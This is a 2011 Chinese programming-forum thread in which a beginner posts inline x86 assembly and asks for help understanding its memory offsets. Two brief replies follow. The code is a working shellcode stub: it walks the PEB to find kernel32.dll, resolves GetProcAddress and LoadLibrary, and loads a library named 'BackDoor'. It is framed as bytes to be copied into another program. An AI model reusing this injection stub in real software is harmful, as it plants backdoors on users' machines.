| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 877 人关注过本帖
标题:求助,关于一段汇编代码
只看楼主 加入收藏
gongfft
Rank: 1
等 级:新手上路
帖 子:1
专家分:0
注 册:2011-11-7
收藏
 问题点数:0 回复次数:2 
求助,关于一段汇编代码
    goto GetExtraData;


1extra_data_start:
2    _asm pushad
3    _asm     mov eax, fs:0x30 //PEB地址
4    _asm     mov eax, [eax + 0x0c] //PEB_LDA_DATA地址
5    _asm     mov esi, [eax + 0x1c] //动态链接库地址
6    _asm     lodsd//得到KERNEL32.DLL所在LDR_MODULE结构的
7    _asm     mov eax, [eax + 0x08] //得到BaseAddress,既Kernel32.dll基址
8    _asm     mov edi, eax //edi = Kernel32.dll基址
9    _asm     mov ebp, eax //ebp = Kernel32.dll基址
10
11    _asm     mov eax, [ebp + 3ch] //eax = ((Kernel32.dll基址 + 3ch) == PE首部)
12    _asm     mov edx, [ebp + eax + 78h] //ebp = Kernel32.dll基址;eax = PEB_LDR_DATA基址
13    _asm     add edx, ebp
14    _asm     mov ecx, [edx + 18h] //输出函数个数
15    _asm     mov ebx, [edx + 20h] //函数名地址
16    _asm     add ebx, ebp
17        
18search:
19    _asm    dec ecx //计数器减一,用于循环
20    _asm     mov esi, [ebx + ecx * 4]
21    _asm     add esi, ebp
22    _asm     mov eax, 0x50746547 //ASCII PteG
23    _asm     cmp [esi], eax //比较PteG
24    _asm     jne search //若不相等,跳转到search重新搜索
25    _asm     mov eax, 0x41636f72 //ASCII Acor
26    _asm     cmp [esi + 4], eax //eax = PteG,eax + 4 = Acor
27    _asm     jne search //若不相等,跳转到search重新搜索
28    _asm     mov ebx, [edx + 24h]
29    _asm     add ebx, ebp
30    _asm     mov cx, [ebx + ecx * 2]
31    _asm     mov ebx, [edx + 1ch]
32    _asm     add ebx, ebp
33    _asm     mov eax, [ebx + ecx * 4]
34    _asm     add eax, ebp   
35        
36   
37    _asm     push ebp
38    _asm     sub esp, 50h
39    _asm     mov ebp, esp
40        
41        
42    _asm     mov [ebp + 40h], eax
43   
44        
45    _asm     push 0x0    //即'\0'
46    _asm     push DWORD PTR 0x41797261  //Ayra aryA
47    _asm     push DWORD PTR 0x7262694c  //rbiL Libr
48    _asm     push DWORD PTR 0x64616f4c  //daoL Load
49    _asm     push esp    //压入"LoadLibrary\0"的地址
50    _asm     push edi   
51    _asm     call [ebp + 40h]   
52    _asm     mov [ebp + 44h], eax   
53    _asm     push 0x0 //'\0'
54    _asm     push DWORD PTR 0x726f6f44    //"Door"
55    _asm     push DWORD PTR 0x6b636142    //"Back"
56    _asm     push esp        
57    _asm     call [ebp + 44h]   
58    _asm    mov esp, ebp
59    _asm    add esp, 0x50
60    _asm    popad
61extra_data_end:
62   
63
64GetExtraData:
65    _asm pushad;
66    _asm lea eax, extra_data_start;  
67    _asm mov pExtra_data, eax;
68    _asm lea edx, extra_data_end;
69    _asm sub edx, eax;
70    _asm mov extra_data_real_length, edx;
71    _asm popad;


最近在研究c语言时遇到一段内联的汇编代码,在下不才,不懂汇编,抽时间看了看汇编教程,指令都可以看懂了,做了部分注释,没做注释的地方指令都能看懂,只是不知道那那些地址代表啥意思,例如18行,ebp = Kernel32.dll基址;eax = PEB_LDR_DATA基址,这么加是啥意思?再加个78h究竟偏移到哪里去拉?我查过peb,teb等结构体,暂时还没有眉目,求研究过汇编的朋友能给做出注释,最好详细点!
搜索更多相关主题的帖子: edi 动态 
2011-11-07 14:30
zaixuexi
Rank: 12Rank: 12Rank: 12
来 自:上海
等 级:火箭侠
威 望:8
帖 子:858
专家分:3233
注 册:2010-12-1
收藏
得分:0 
结构偏移这个用windbg查会快点,自己看多累啊,符号表有么,直接IDA

技术问题,请不要以短消息方式提问
2011-11-18 10:02
zjsxwc
Rank: 7Rank: 7Rank: 7
等 级:黑侠
威 望:1
帖 子:252
专家分:601
注 册:2011-1-20
收藏
得分:0 
linux 用户表示不懂。。。

The tools I recommended:
GUI: CSharp(VS), QT;    Core Code: Plain C (Tiny C Compiler);    Web: Python, JavaScript;    Android: Java;    Embedded System: ASM&C (Linux)
2011-11-18 21:11
快速回复:求助,关于一段汇编代码
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.027023 second(s), 8 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved